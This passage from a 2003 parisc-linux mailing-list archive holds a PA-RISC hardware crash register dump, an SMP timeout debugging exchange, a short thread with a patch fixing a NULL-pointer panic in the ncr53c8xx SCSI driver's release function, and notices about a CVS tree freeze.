SADD LOG                     = 0x48e0000000000002
Read Short LOG               = 0xc18080ff80080014



-----------------  DEW 3 HPMC Information -  ------

Timestamp =    Tue Mar  11 18:07:11 GMT 2003    (20:03:03:11:18:07:11)

Runway Control Log Reg            = 0x0006720000000000
Runway Address Data Log Reg Odd   = 0xfffffffffffc3f00
Runway Address Data Log Reg Even  = 0xfffffffffffc3f00
Runway Address Log Reg            = 0x0000000000000048
Runway Broad Error Log Reg        = 0x00000000000000dc

  OV  RQ  RS      ESTAT      A  C  D  corr  unc  fe  cw  pf
  --  --  --      -----      -  -  -  ----  ---  --  --  --
  X             ERR_ERROR       X            X   X

Merced Bus Requestor Address      = 0x0000000000000000
Merced Bus Target Address         = 0x0000000000000000
Merced Bus Responder Address      = 0x0000000000000000
Merced Error Status Reg           = 0x2001000000082004
Merced Error Overflow Reg         = 0x0000000000082000
Merced AERR Addr1 Log Reg         = 0x00c0000000300000
Merced AERR Addr2 Log Reg         = 0x0000000000f00000
Merced DERR  Log Reg              = 0x00c1100000000000
Merced Error Syndrome Reg         = 0x0000000052000000


-------  Processor 3^@ LPMC Information ------------------

Check Type                   = 0x00000000
IC Parity Info               = 0x00000000
Cache Check                  = 0x00000000
TLB Check                    = 0x00000000
Bus Check                    = 0x00000000
Assists Check                = 0x00000000
Assist State                 = 0x00000000
Path Info                    = 0x00000000
System Responder Address     = 0x0000000000000000
System Requestor Address     = 0x0000000000000000



-------  Processor 3^@ TOC Information -------------------

General Registers 0 - 31
00-03  0000000000000000  0000000000000000  0000000000000000  
0000000000000000
04-07  0000000000000000  0000000000000000  0000000000000000  
0000000000000000
08-11  0000000000000000  0000000000000000  0000000000000000  
0000000000000000
12-15  0000000000000000  0000000000000000  0000000000000000  
0000000000000000
16-19  0000000000000000  0000000000000000  0000000000000000  
0000000000000000
20-23  0000000000000000  0000000000000000  0000000000000000  
0000000000000000
24-27  0000000000000000  0000000000000000  0000000000000000  
0000000000000000
28-31  0000000000000000  0000000000000000  0000000000000000  
0000000000000000


Control Registers 0 - 31
00-03  0000000000000000  0000000000000000  0000000000000000  
0000000000000000
04-07  0000000000000000  0000000000000000  0000000000000000  
0000000000000000
08-11  0000000000000000  0000000000000000  0000000000000000  
0000000000000000
12-15  0000000000000000  0000000000000000  0000000000000000  
0000000000000000
16-19  0000000000000000  0000000000000000  0000000000000000  
0000000000000000
20-23  0000000000000000  0000000000000000  0000000000000000  
0000000000000000
24-27  0000000000000000  0000000000000000  0000000000000000  
0000000000000000
28-31  0000000000000000  0000000000000000  0000000000000000  
0000000000000000

Space Registers 0 - 7
00-03  00000000          00000000          00000000          00000000
04-07  00000000          00000000          00000000          00000000

IIA Space (back entry)       = 0x0000000000000000
IIA Offset (back entry)      = 0x0000000000000000
CPU State                    = 0x00000000


--------------  Memory Error Log Information  --------------

Bus 0 Log Information

Timestamp =    Tue Mar  11 18:07:11 GMT 2003    (20:03:03:11:18:07:11)

  OV  RQ  RS      ESTAT      A  C  D  corr  unc  fe  cw  pf
  --  --  --      -----      -  -  -  ----  ---  --  --  --
                ERR_ERROR       X                X

Bus Requestor Address      = 0x0000000000000000
Bus Target Address         = 0x0000000000000000
Bus Responder Address      = 0x0000000000000000

Error Status Reg           = 0x0000000000080000
Error Overflow Reg         = 0x0000000000080000
AERR Address 1 Log Reg     = 0x0000000000000000
AERR Address 2 Log Reg     = 0xf800000000000000
FERR  Log Reg              = 0x0000000000000000
DERR  Log Reg              = 0x000133000051cdc0
Error Syndrome Reg         = 0x0000000000000000



 Address/Control Parity Error Registers

   Address/Control Parity Error Bit (AE) Not Set



Bus 1 Log Information

Timestamp =    Tue Mar  11 18:07:11 GMT 2003    (20:03:03:11:18:07:11)

  OV  RQ  RS      ESTAT      A  C  D  corr  unc  fe  cw  pf
  --  --  --      -----      -  -  -  ----  ---  --  --  --
               ERR_TIMEOUT   X               X

Bus Requestor Address      = 0xfffffffffed2c000
Bus Target Address         = 0x00000000f000a000
Bus Responder Address      = 0x0000000000000000

Error Status Reg           = 0x0000000000000800
Error Overflow Reg         = 0x0000000000000800 
AERR Address 1 Log Reg     = 0x08006000f000a000 
AERR Address 2 Log Reg     = 0x6000b0003f700a10
FERR  Log Reg              = 0x0000000000000000
DERR  Log Reg              = 0x0000000000000000
Error Syndrome Reg         = 0x0000000000000000



 Address/Control Parity Error Registers 

   Address/Control Parity Error Bit (AE) Not Set



------------  I/O Module Error Log Information  ------------

Summary of IO subsystem log entries
-----------------------------------
                        Phys Loc             Vendor  Device   Severity
Description             (hex)                 Id      Id      CORR UNC 
FE  CW
-----------             -----                ------  ------   
----------------
System Bus Adapter SB  0x000000ffffffff82   0x103c  0x1050              X
System Bus Adapter RP  0x000000ffff0dff83   0x103c  0x1051              X
System Bus Adapter RP  0x000000ffff0eff83   0x103c  0x1051              X
System Bus Adapter RP  0x000101ffff06ff83   0x103c  0x1051              X
System Bus Adapter RP  0x000101ffff02ff83   0x103c  0x1051              X
System Bus Adapter RP  0x000101ffff01ff83   0x103c  0x1051              X
System Bus Adapter RP  0x000101ffff04ff83   0x103c  0x1051              X
System Bus Adapter RP  0x000101ffff05ff83   0x103c  0x1051              X
System Bus Adapter RP  0x000101ffff03ff83   0x103c  0x1051              X
System Bus Adapter SB  0x000000ffffffff82   0x103c  0x1050              X
System Bus Adapter RP  0x000202ffff0cff83   0x103c  0x1051              X
System Bus Adapter RP  0x000202ffff0aff83   0x103c  0x1051              X
System Bus Adapter RP  0x000202ffff09ff83   0x103c  0x1051              X
System Bus Adapter RP  0x000202ffff0bff83   0x103c  0x1051              X
System Bus Adapter RP  0x000202ffff08ff83   0x103c  0x1051              X
System Bus Adapter RP  0x000202ffff07ff83   0x103c  0x1051              X


Detail display of IO subsystem log entries
------------------------------------------

System Bus Adapter -- System Bus Interface
------------------------------------------

Timestamp =    Tue Mar  11 18:09:10 GMT 2003    (20:03:03:11:18:09:10)

  OV  RQ  RS      ESTAT      A  C  D  corr  unc  fe  cw  pf
  --  --  --      -----      -  -  -  ----  ---  --  --  --
  X       X     ERR_ERROR       X                X

IO Requestor Address    = 0x0000000000000000
IO Target Address       = 0x0000000000000000
IO Responder Address    = 0xfffffffffed00000
IO Physical Location    = 0x000000ffffffff82
IO Hardware Path        = 0x00ffffffffffff00

Module Error Register   = 0x0000000007ff0034

System Bus Adapter --       Rope Interface
------------------------------------------

Timestamp =    Tue Mar  11 18:09:12 GMT 2003    (20:03:03:11:18:09:12)

  OV  RQ  RS      ESTAT      A  C  D  corr  unc  fe  cw  pf
  --  --  --      -----      -  -  -  ----  ---  --  --  --
               ERR_FUNCTION                      X      

IO Requestor Address    = 0x0000000000000000
IO Target Address       = 0x0000000000000000
IO Responder Address    = 0x0000000000000000
IO Physical Location    = 0x000000ffffffff82
IO Hardware Path        = 0x00ffffffffffff00

Module Error Register   = 0x0000000000000000
Rope Physical Location  = 0x000000ffff0dff83

System Bus Adapter --       Rope Interface
------------------------------------------

Timestamp =    Tue Mar  11 18:09:12 GMT 2003    (20:03:03:11:18:09:12)

  OV  RQ  RS      ESTAT      A  C  D  corr  unc  fe  cw  pf
  --  --  --      -----      -  -  -  ----  ---  --  --  --
               ERR_FUNCTION                      X      
 
IO Requestor Address    = 0x0000000000000000
IO Target Address       = 0x0000000000000000
IO Responder Address    = 0x0000000000000000
IO Physical Location    = 0x000000ffffffff82
IO Hardware Path        = 0x00ffffffffffff00

Module Error Register   = 0x0000000000000000
Rope Physical Location  = 0x000000ffff0eff83

System Bus Adapter --       Rope Interface
------------------------------------------
Timestamp =    Tue Mar  11 18:09:12 GMT 2003    (20:03:03:11:18:09:12)

  OV  RQ  RS      ESTAT      A  C  D  corr  unc  fe  cw  pf
  --  --  --      -----      -  -  -  ----  ---  --  --  --
               ERR_FUNCTION                      X

IO Requestor Address    = 0x0000000000000000
IO Target Address       = 0x0000000000000000
IO Responder Address    = 0x0000000000000000
IO Physical Location    = 0x000000ffffffff82
IO Hardware Path        = 0x00ffffffffffff00

Module Error Register   = 0x0000000000000000
Rope Physical Location  = 0x000101ffff06ff83

System Bus Adapter --       Rope Interface
------------------------------------------

Timestamp =    Tue Mar  11 18:09:12 GMT 2003    (20:03:03:11:18:09:12)

  OV  RQ  RS      ESTAT      A  C  D  corr  unc  fe  cw  pf
  --  --  --      -----      -  -  -  ----  ---  --  --  --
               ERR_FUNCTION                      X

IO Requestor Address    = 0x0000000000000000
IO Target Address       = 0x0000000000000000
IO Responder Address    = 0x0000000000000000
IO Physical Location    = 0x000000ffffffff82
IO Hardware Path        = 0x00ffffffffffff00

Module Error Register   = 0x0000000000000000
Rope Physical Location  = 0x000101ffff02ff83

System Bus Adapter --       Rope Interface
------------------------------------------

Timestamp =    Tue Mar  11 18:09:12 GMT 2003    (20:03:03:11:18:09:12)
[...]

Well that for an older test but I don't know yet what could be the PSW 
(sorry I haven't found more doc about TOC output)?

>On second thought, I'm skeptical unstarted_count isn't coherent
>since it's a kernel global as well (like jiffies).
>
>  
>
>>>You need to find out who is using smp_call_function() and which function
>>>they are trying to invoke. I suspect it's coming from mm/slab.c but
>>>would know which of the three it might be.
>>>      
>>>
>>Effectively I don't find another place where it is called. And so add a
>>printk in each function calling smp_call_function_all_cpus() finaly.
>>
>>That is allowing me to notice severall call to kmem_tune_cpucache() (7 exactly)
>>(and not other) but don't get any more 'SMP CALL FUNCTION TIMED OUT (CPU=1)'
>>:(
>>(i presume that, as previously, the system crash before having the opportunity
>>to flush its buffer?)
>>
>>What do you think?
>>    
>>
>
>Could be.
>Add mdelay(100) (or higher) after the lines of output you've added.
>The works if it's a functional problem that's not timing dependent.
>  
>
Because during another test I reach to boot this N (well only during 
half an hour) in SMP, I am quite sure that is such a problem  somewhere 
(the problem is to find where).

>Otherwise setup kernel crash dump and use tools from bruno/phi to view
>contents of the kernel message buffer.
>
I already thought to this (because I test severall bruno's patch), but I 
have two pb to implement it:
a) my system has 2Gb (4* 512Mb iirc) of ram and I don't see how to 
reconfigure the disk with at least 2Gb of swap(== dump area iirc)?
The disk slicing being:
    Name        Flags      Part Type  FS Type          [Label]        
Size (MB)
 ------------------------------------------------------------------------------
    sda1        Boot        Primary   Linux/PA-RISC 
boot                  67.56
    sda2                    Primary   Linux swap                         
135.11
    sda3                    Primary   Linux ext3                         
130.89
    sda5                    Logical   Linux ext3                        
1760.56
    sda6                    Logical   Linux ext3                         
261.77
    sda7                    Logical   Linux ext3                         
130.89
    sda8                    Logical   Linux ext3                         
130.89
    sda9                    Logical   Linux ext3                        
1574.79

sda5 being the root fs must be into the 2Gb limits iirc but I am not 
quiet sure that swap also has have to be in those limits (in fact it is 
just like this because of the very first puffin :) (now obsolete) 
install instruction?

b) afaik p4 is not yet publicaly realesed?

Thanks in advance for your additional help,
    Joel



From - Thu Nov 08 21:29:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: zalon/ncr53c720 crashes K460  (parisc port) on bootup.
Date: Sat, 27 Sep 2003 19:37:56 +0100
Lines: 42
Approved: news@gmane.org
Message-ID: <20030927183756.GT24824__37263.5860149332$1416622818$gmane$org@parcelfarce.linux.theplanet.co.uk>
References: <1064634188.641.27.camel@laptop.bradetich.net> <1064677551.2002.20.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622818 31666 80.91.229.3 (22 Nov 2014 02:20:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:18 +0000 (UTC)
Cc: Ryan Bradetich <rbradetich@uswest.net>,
	SCSI Mailing List <linux-scsi@vger.kernel.org>,
	PARISC list <parisc-linux@lists.parisc-linux.org>
To: James Bottomley <James.Bottomley@steeleye.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Sep 27 12:37:57 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id ED819483E
	for <parisc-linux@lists.parisc-linux.org>; Sat, 27 Sep 2003 12:37:56 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1A3Jx6-0006Yu-2i; Sat, 27 Sep 2003 19:37:56 +0100
Content-Disposition: inline
In-Reply-To: <1064677551.2002.20.camel@mulgrave>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19641

On Sat, Sep 27, 2003 at 10:45:50AM -0500, James Bottomley wrote:
> This should fix the panic, but it simply detaches correctly.

We both missed it.  This is why it's panicing:

        host = ncr_attach(&zalon7xx_template, unit, &device);
        if (!host)
                goto fail;
 fail:
        ncr53c8xx_release(host);
        return error;

ie we're calling ncr53c8xx_release(NULL) so both your & my patch fail
to fix the problem.  This looks best to me:

+++ drivers/scsi/ncr53c8xx.c    27 Sep 2003 18:31:13 -0000
@@ -8855,11 +8855,14 @@ struct Scsi_Host * __init ncr_attach(str
 
 int ncr53c8xx_release(struct Scsi_Host *host)
 {
-       struct host_data *host_data = (struct host_data *)host->hostdata;
+       struct host_data *host_data;
 #ifdef DEBUG_NCR53C8XX
        printk("ncr53c8xx: release\n");
 #endif
-       if (host_data->ncb)
+       if (!host)
+               return 1;
+       host_data = (struct host_data *)host->hostdata;
+       if (host_data && host_data->ncb)
                ncr_detach(host_data->ncb);
        return 1;
 }

and it does fix the problem.  Maybe it's too much checking, but I'm not
interested in tracking down bugs like this again ;-)

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:29:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Hellwig <hch@infradead.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: zalon/ncr53c720 crashes K460  (parisc port) on bootup.
Date: Sat, 27 Sep 2003 19:43:19 +0100
Lines: 21
Approved: news@gmane.org
Message-ID: <20030927194319.A30759__38124.0966184579$1416622818$gmane$org@infradead.org>
References: <1064634188.641.27.camel@laptop.bradetich.net> <1064677551.2002.20.camel@mulgrave> <20030927183756.GT24824@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622818 31671 80.91.229.3 (22 Nov 2014 02:20:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:18 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@steeleye.com>,
	Ryan Bradetich <rbradetich@uswest.net>,
	SCSI Mailing List <linux-scsi@vger.kernel.org>,
	PARISC list <parisc-linux@lists.parisc-linux.org>
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Sep 27 12:43:29 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from phoenix.infradead.org (unknown [213.86.99.234])
	by dsl2.external.hp.com (Postfix) with ESMTP id EFB2E4845
	for <parisc-linux@lists.parisc-linux.org>; Sat, 27 Sep 2003 12:43:28 -0600 (MDT)
Original-Received: from hch by phoenix.infradead.org with local (Exim 4.22)
	id 1A3K2J-00080P-RP; Sat, 27 Sep 2003 19:43:19 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20030927183756.GT24824@parcelfarce.linux.theplanet.co.uk>; from willy@debian.org on Sat, Sep 27, 2003 at 07:37:56PM +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19642

On Sat, Sep 27, 2003 at 07:37:56PM +0100, Matthew Wilcox wrote:
> -       struct host_data *host_data = (struct host_data *)host->hostdata;
> +       struct host_data *host_data;
>  #ifdef DEBUG_NCR53C8XX
>         printk("ncr53c8xx: release\n");
>  #endif
> -       if (host_data->ncb)
> +       if (!host)
> +               return 1;
> +       host_data = (struct host_data *)host->hostdata;
> +       if (host_data && host_data->ncb)
>                 ncr_detach(host_data->ncb);
>         return 1;
>  }
> 
> and it does fix the problem.  Maybe it's too much checking, but I'm not
> interested in tracking down bugs like this again ;-)

Or better just stop calling ncr53c8xx_release if ncr_attach failed..



From - Thu Nov 08 21:29:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: zalon/ncr53c720 crashes K460  (parisc port) on bootup.
Date: 27 Sep 2003 13:58:06 -0500
Lines: 23
Approved: news@gmane.org
Message-ID: <1064689088.2002.188.camel__30466.3534313024$1416622818$gmane$org@mulgrave>
References: <1064634188.641.27.camel@laptop.bradetich.net>
	<1064677551.2002.20.camel@mulgrave> 
	<20030927183756.GT24824@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622818 31673 80.91.229.3 (22 Nov 2014 02:20:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:18 +0000 (UTC)
Cc: Ryan Bradetich <rbradetich@uswest.net>,
	SCSI Mailing List <linux-scsi@vger.kernel.org>,
	PARISC list <parisc-linux@lists.parisc-linux.org>
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Sep 27 12:58:12 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (nat9.steeleye.com [65.114.3.137])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2834D483E
	for <parisc-linux@lists.parisc-linux.org>; Sat, 27 Sep 2003 12:58:12 -0600 (MDT)
Original-Received: from mulgrave-w.il.steeleye.com (il-ppp.sc.steeleye.com [172.17.6.240])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id h8RIw7q27686;
	Sat, 27 Sep 2003 14:58:07 -0400
In-Reply-To: <20030927183756.GT24824@parcelfarce.linux.theplanet.co.uk>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19643

On Sat, 2003-09-27 at 13:37, Matthew Wilcox wrote:
> On Sat, Sep 27, 2003 at 10:45:50AM -0500, James Bottomley wrote:
> > This should fix the panic, but it simply detaches correctly.
> 
> We both missed it.  This is why it's panicing:
> 
>         host = ncr_attach(&zalon7xx_template, unit, &device);
>         if (!host)
>                 goto fail;
>  fail:
>         ncr53c8xx_release(host);
>         return error;
> 
> ie we're calling ncr53c8xx_release(NULL) so both your & my patch fail
> to fix the problem.  This looks best to me:

No, I fixed that...that was changed to goto out; in my patch, and out
was just before the return (i.e. no longer do the release).

James




From - Thu Nov 08 21:29:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: zalon/ncr53c720 crashes K460  (parisc port) on bootup.
Date: Sat, 27 Sep 2003 21:06:02 +0100
Lines: 12
Approved: news@gmane.org
Message-ID: <20030927200602.GU24824__30473.4161742546$1416622819$gmane$org@parcelfarce.linux.theplanet.co.uk>
References: <1064634188.641.27.camel@laptop.bradetich.net> <1064677551.2002.20.camel@mulgrave> <20030927183756.GT24824@parcelfarce.linux.theplanet.co.uk> <1064689088.2002.188.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622819 31674 80.91.229.3 (22 Nov 2014 02:20:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:19 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	Ryan Bradetich <rbradetich@uswest.net>,
	SCSI Mailing List <linux-scsi@vger.kernel.org>,
	PARISC list <parisc-linux@lists.parisc-linux.org>
To: James Bottomley <James.Bottomley@steeleye.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Sep 27 14:06:04 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2D071483E
	for <parisc-linux@lists.parisc-linux.org>; Sat, 27 Sep 2003 14:06:04 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1A3LKM-0007Bb-SI; Sat, 27 Sep 2003 21:06:02 +0100
Content-Disposition: inline
In-Reply-To: <1064689088.2002.188.camel@mulgrave>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19644

On Sat, Sep 27, 2003 at 01:58:06PM -0500, James Bottomley wrote:
> No, I fixed that...that was changed to goto out; in my patch, and out
> was just before the return (i.e. no longer do the release).

Oops, I didn't scroll all the way down.  Anyway, we have a tradition
of allowing, eg, kfree(NULL) to succeed, so it's a little more robust.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:29:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Tree frozen
Date: Sun, 28 Sep 2003 03:59:25 +0100
Lines: 13
Approved: news@gmane.org
Message-ID: <20030928025925.GC24824@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622819 31678 80.91.229.3 (22 Nov 2014 02:20:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:19 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Sep 27 20:59:31 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0DB8E483E
	for <parisc-linux@parisc-linux.org>; Sat, 27 Sep 2003 20:59:31 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1A3RmP-00011J-TB
	for parisc-linux@parisc-linux.org; Sun, 28 Sep 2003 03:59:25 +0100
Content-Disposition: inline
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19645

Hi.  I came up with a great improvement to how we manage upstream version
imports.  Unfortunately, it hasn't worked ;-)  The cvs-snapshot script
reports some discrepancies between the repository and what it thinks it
checked in.

I'd appreciate it if people would not check in anything until this
is fixed.  Sorry for the inconvenience.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:29:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] cvs-snapshot problem discovered
Date: Sun, 28 Sep 2003 04:38:48 +0100
Lines: 21
Approved: news@gmane.org
Message-ID: <20030928033848.GD24824@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622819 31679 80.91.229.3 (22 Nov 2014 02:20:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:19 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Paul Bame <bame@riverrock.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Sep 27 21:38:49 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id B1B4C483E
	for <parisc-linux@parisc-linux.org>; Sat, 27 Sep 2003 21:38:49 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1A3SOW-0001H7-UL; Sun, 28 Sep 2003 04:38:48 +0100
Content-Disposition: inline
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
